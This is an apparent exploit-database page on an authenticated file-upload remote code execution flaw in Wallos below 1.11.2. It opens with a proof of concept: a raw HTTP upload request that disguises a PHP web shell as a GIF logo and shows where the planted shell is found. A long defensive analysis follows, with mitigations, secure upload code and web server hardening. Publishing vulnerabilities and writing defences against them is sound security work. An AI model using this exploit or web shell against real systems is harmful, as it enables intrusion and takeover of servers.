Wallos < 1.11.2 - File Upload RCE

Exploit Author: sml Analysis Author: www.bubbleslearn.ir Category: WebApps Language: PHP Published Date: 2024-03-25
# Exploit Title: Wallos - File Upload RCE (Authenticated)
# Date: 2024-03-04
# Exploit Author: sml@lacashita.com
# Vendor Homepage: https://github.com/ellite/Wallos
# Software Link: https://github.com/ellite/Wallos
# Version: < 1.11.2
# Tested on: Debian 12

Wallos allows you to upload an image/logo when you create a new subscription.
This can be bypassed to upload a malicious .php file.

POC
---

1) Log into the application.
2) Go to "New Subscription"
3) Upload Logo and choose your webshell .php
4) Make the Request changing Content-Type to image/jpeg and adding "GIF89a", it should be like:

--- SNIP -----------------

POST /endpoints/subscription/add.php HTTP/1.1

Host: 192.168.1.44

User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0

Accept: */*

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Referer: http://192.168.1.44/

Content-Type: multipart/form-data; boundary=---------------------------29251442139477260933920738324

Origin: http://192.168.1.44

Content-Length: 7220

Connection: close

Cookie: theme=light; language=en; PHPSESSID=6a3e5adc1b74b0f1870bbfceb16cda4b; theme=light

-----------------------------29251442139477260933920738324

Content-Disposition: form-data; name="name"

test

-----------------------------29251442139477260933920738324

Content-Disposition: form-data; name="logo"; filename="revshell.php"

Content-Type: image/jpeg

GIF89a;

<?php
system($_GET['cmd']);
?> 

-----------------------------29251442139477260933920738324

Content-Disposition: form-data; name="logo-url"

----- SNIP -----

5) You will get the response that your file was uploaded ok:

{"status":"Success","message":"Subscription updated successfully"}


6) Your file will be located in: 
http://VICTIM_IP/images/uploads/logos/XXXXXX-yourshell.php


Wallos < 1.11.2 — File Upload Remote Code Execution (Authenticated) — Overview, Impact, and Mitigation

This article explains the authenticated file upload vulnerability affecting Wallos versions prior to 1.11.2, the underlying cause of the issue, real-world risk scenarios, detection approaches, and robust mitigations. It is written for implementers, incident responders, and security engineers who need to understand the vulnerability conceptually and harden applications against similar weaknesses.

Background

Wallos is an open-source web application that allows authenticated users to manage subscriptions and upload images such as logos. In versions earlier than 1.11.2, an upload validation weakness can be abused to place executable code on the web server and achieve remote code execution (RCE) in contexts where uploaded files are later served or executed by the webserver.

How this class of vulnerability works (conceptual)

  • Applications commonly accept image uploads and perform lightweight checks such as file extension or a declared Content-Type header.
  • An attacker who is able to bypass those checks can upload a file that contains server-side executable code (for example, PHP). If the server stores the file in a web-accessible directory and the webserver is configured to execute files based on extension or content, the attacker can trigger code execution by requesting that file.
  • Typical weaknesses that lead to bypasses include trusting client-supplied headers, validating only file extensions, or failing to inspect file contents and execution policy on the upload folder.

Impact and real-world risk

When exploitation is possible, the impact is high. An authenticated attacker can potentially:

  • Execute arbitrary commands on the host (RCE).
  • Escalate privileges, pivot internally, or exfiltrate data.
  • Deploy persistent backdoors or web shells.

Systems exposed to the internet and running outdated versions of the application are most at risk, but even internal deployments are sensitive because an authenticated user may be assumed benign.

Detection and indicators of compromise

Detection combines application- and network-level monitoring. Look for the following high-level indicators:

  • Unusual file uploads to public directories, especially files with image extensions but anomalous content length or binary patterns.
  • Requests to uploaded files that result in server-side execution or unexpected responses.
  • Webserver logs showing successful requests to newly created files in upload folders, followed by suspicious commands or process execution on the host.

From an IDS/WAF perspective, flag attempts where an uploaded file contains embedded server-side code markers (for example, server language open tags) while the declared Content-Type is an image. Note: detection rules should be crafted to reduce false positives and tuned to the application context.

Practical mitigation strategy

Mitigation should be layered: fix the application, harden configuration, and add detection. The recommended steps are:

  • Upgrade: apply the vendor security update (upgrade to Wallos 1.11.2 or later) as the first action.
  • Server-side validation: validate file type using server-side content inspection (not just client-supplied Content-Type or filename).
  • Store uploads outside the webroot where possible, or configure the upload directory to never execute server-side scripts.
  • Enforce allowlists of accepted image types and reject any file that cannot be proven to be that type.
  • Sanitize and randomize filenames and enforce safe file permissions (no execute bit, least privilege for the web process).
  • Introduce scanning: antivirus, malware scanners, and static content inspections on uploaded files.
  • Monitor and alert for uploads that look suspicious or requests to newly created upload files.

Example: secure PHP upload handler (defensive)

<?php
// Defensive example: robust image upload handling (simplified)
// 1) Use PHP FileInfo to determine true MIME type
// 2) Use getimagesize() for additional image verification
// 3) Reject files containing server-side tags
// 4) Store outside webroot and give a randomized name

$uploadDir = __DIR__ . '/../uploads/'; // outside webroot if possible
if (!is_dir($uploadDir)) { mkdir($uploadDir, 0700, true); }

if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_FILES['image'])) {
    $file = $_FILES['image'];

    // Basic checks
    if ($file['error'] !== UPLOAD_ERR_OK) {
        http_response_code(400); exit('Upload error');
    }
    if ($file['size'] > 5 * 1024 * 1024) { // 5 MB limit
        http_response_code(413); exit('File too large');
    }

    // 1) MIME type via FileInfo
    $finfo = new finfo(FILEINFO_MIME_TYPE);
    $mime = $finfo->file($file['tmp_name']);
    $allowed = ['image/jpeg', 'image/png', 'image/gif'];
    if (!in_array($mime, $allowed, true)) {
        http_response_code(415); exit('Invalid MIME type');
    }

    // 2) Basic image check
    $imgInfo = @getimagesize($file['tmp_name']);
    if ($imgInfo === false) {
        http_response_code(415); exit('Not a valid image');
    }

    // 3) Reject files containing server-side code markers
    $contents = file_get_contents($file['tmp_name']);
    if (preg_match('/<\?(php|=)/i', $contents)) {
        http_response_code(415); exit('Forbidden file content');
    }

    // 4) Randomized filename and safe move
    $ext = image_type_to_extension($imgInfo[2], false); // e.g. "jpeg", "png"
    $name = bin2hex(random_bytes(16)) . '.' . $ext;
    $target = $uploadDir . $name;

    if (!move_uploaded_file($file['tmp_name'], $target)) {
        http_response_code(500); exit('Failed to save file');
    }

    // Ensure safe permissions
    chmod($target, 0640);

    echo json_encode(['status' => 'ok', 'file' => $name]);
}
?>

Explanation: This defensive PHP snippet demonstrates how to combine server-side MIME detection (FileInfo), image validation (getimagesize), content inspection for server-side code markers, randomized filenames, storing uploads outside the web-accessible directory, and enforcing safe permissions. It intentionally rejects any file that fails one of these checks.

Webserver hardening examples (defensive)

Prevent any files in the upload directory from being executed by the webserver. Example approaches:

  • Apache: place a configuration in the upload directory that disables script execution and forces content to be served as static files.
  • Nginx: configure the location handling to never pass upload folder URIs to PHP-FPM or other script handlers.
# Apache: disable script execution for uploads directory (example)
# Place in the server config or a .htaccess in the upload folder

    Options -ExecCGI
    AllowOverride None
    
        php_admin_flag engine off
    

Explanation: The Apache configuration disables CGI execution and, where mod_php is present, turns off the PHP engine for files in the uploads directory. This prevents uploaded files from being interpreted as PHP even if they contain server-side code markers.

# Nginx: do not route uploads to PHP interpreter (example)
location /uploads/ {
    # serve static content only
    autoindex off;
    sendfile on;
    # Never pass upload files to PHP backend
    location ~ \.php$ {
        return 403;
    }
}

Explanation: The Nginx snippet ensures that requests to files in /uploads/ that match PHP filename patterns are denied. The directive prevents uploaded artifacts from being forwarded to the PHP runtime.

Secure development checklist

  • Always perform server-side content validation. Never trust client-provided Content-Type or filename alone.
  • Prefer storing uploaded content outside the webroot or under a domain/subdomain with strict execution restrictions.
  • Apply allowlist validation (accept only expected image types) rather than denylisting.
  • Reject uploads that contain server-side code markers or unexpected binary structures.
  • Use randomized filenames and set restrictive file permissions.
  • Keep third-party components and frameworks up to date; apply vendor patches promptly.
  • Implement logging and alerting for file uploads, and scan uploaded files with malware detection solutions.

Testing and incident response

Security testing of file upload functionality should be performed in an isolated test environment. When a suspicious upload is discovered in production:

  • Isolate the host and collect logs (webserver, application, and system) for forensic analysis.
  • Identify all files created in upload areas and check for embedded server-side code or other indicators.
  • Rotate credentials if the compromise indicates credential misuse, and rebuild affected hosts from known-good images.
  • Apply vendor patches and hardening changes listed above before returning services to normal operation.

Risk table

Risk Likelihood Impact Recommended Action
Authenticated file upload leading to RCE Medium–High (if upload is web-accessible) High (remote code execution, data compromise) Upgrade, server-side validation, store outside webroot, disable execution

Responsible disclosure and remediation

If you administer Wallos instances, upgrade immediately to the patched release. If you are a security researcher who discovers similar issues, follow coordinated disclosure practices: report to the vendor, give reasonable time for a fix, and coordinate public disclosure once mitigations and patches are available.

Further reading and resources

  • OWASP — Insecure File Uploads guidance and mitigations
  • Secure configuration guidance for Apache and Nginx on serving static uploads
  • Vendor repository and release notes for Wallos (check the project's official releases and changelog)